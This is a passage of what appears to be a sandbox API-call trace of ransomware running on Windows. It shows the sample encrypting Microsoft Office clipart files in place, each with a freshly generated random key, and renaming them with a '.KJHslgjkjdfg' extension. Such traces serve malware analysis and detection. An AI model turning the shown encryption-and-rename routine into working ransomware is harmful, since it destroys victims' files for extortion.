lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.kjhslgjkjdfg")) returned 1 [0190.668] CloseHandle (hObject=0x130) returned 1 [0190.668] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4752, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099148.JPG", cAlternateFileName="")) returned 1 [0190.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.669] GetProcessHeap () returned 0x990000 [0190.669] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.669] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.669] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0190.672] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.672] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.672] GetProcessHeap () returned 0x990000 [0190.672] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.672] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.672] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.672] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.672] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.672] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.672] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.673] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.673] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.673] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.673] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4752, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4752, lpOverlapped=0x0) returned 1 [0190.674] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4760, dwBufLen=0x4760 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4760) returned 1 [0190.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.674] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4760, lpOverlapped=0x0) returned 1 [0190.674] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.675] SetEndOfFile (hFile=0x130) returned 1 [0190.677] GetProcessHeap () returned 0x990000 [0190.677] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.677] GetProcessHeap () returned 0x990000 [0190.677] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.678] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.kjhslgjkjdfg")) returned 1 [0190.679] CloseHandle (hObject=0x130) returned 1 [0190.679] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x11dfe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099149.WMF", cAlternateFileName="")) returned 1 [0190.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.680] GetProcessHeap () returned 0x990000 [0190.680] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.680] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.680] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0190.683] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.683] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.683] GetProcessHeap () returned 0x990000 [0190.683] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.683] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.683] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.683] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.683] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.683] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.683] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.684] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.684] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.684] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.684] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.684] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.684] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x11dfe, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x11dfe, lpOverlapped=0x0) returned 1 [0190.687] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11e00, dwBufLen=0x11e00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11e00) returned 1 [0190.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.688] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x11e00, lpOverlapped=0x0) returned 1 [0190.688] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.688] SetEndOfFile (hFile=0x130) returned 1 [0190.691] GetProcessHeap () returned 0x990000 [0190.691] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.691] GetProcessHeap () returned 0x990000 [0190.691] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.kjhslgjkjdfg")) returned 1 [0190.693] CloseHandle (hObject=0x130) returned 1 [0190.693] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x559a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099150.JPG", cAlternateFileName="")) returned 1 [0190.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.695] GetProcessHeap () returned 0x990000 [0190.695] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.695] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.695] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0190.698] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.698] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.698] GetProcessHeap () returned 0x990000 [0190.698] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.699] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.699] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.699] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.699] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.699] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.699] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.699] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.699] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.699] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.699] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x559a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x559a, lpOverlapped=0x0) returned 1 [0190.840] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x55a0, dwBufLen=0x55a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x55a0) returned 1 [0190.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.841] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x55a0, lpOverlapped=0x0) returned 1 [0190.841] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.841] SetEndOfFile (hFile=0x130) returned 1 [0190.844] GetProcessHeap () returned 0x990000 [0190.844] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.844] GetProcessHeap () returned 0x990000 [0190.844] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.844] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.kjhslgjkjdfg")) returned 1 [0190.846] CloseHandle (hObject=0x130) returned 1 [0190.846] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x65e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099151.WMF", cAlternateFileName="")) returned 1 [0190.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.846] GetProcessHeap () returned 0x990000 [0190.846] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.846] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.847] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0190.852] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.852] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.852] GetProcessHeap () returned 0x990000 [0190.852] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.852] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.852] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.852] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.852] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.853] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.853] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.853] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.853] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.853] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.854] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x65e6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x65e6, lpOverlapped=0x0) returned 1 [0190.860] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x65f0, dwBufLen=0x65f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x65f0) returned 1 [0190.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.860] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x65f0, lpOverlapped=0x0) returned 1 [0190.860] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x66c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.860] SetEndOfFile (hFile=0x130) returned 1 [0190.863] GetProcessHeap () returned 0x990000 [0190.863] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.863] GetProcessHeap () returned 0x990000 [0190.863] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.kjhslgjkjdfg")) returned 1 [0190.865] CloseHandle (hObject=0x130) returned 1 [0190.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2dae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099152.JPG", cAlternateFileName="")) returned 1 [0190.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.866] GetProcessHeap () returned 0x990000 [0190.866] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.866] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: 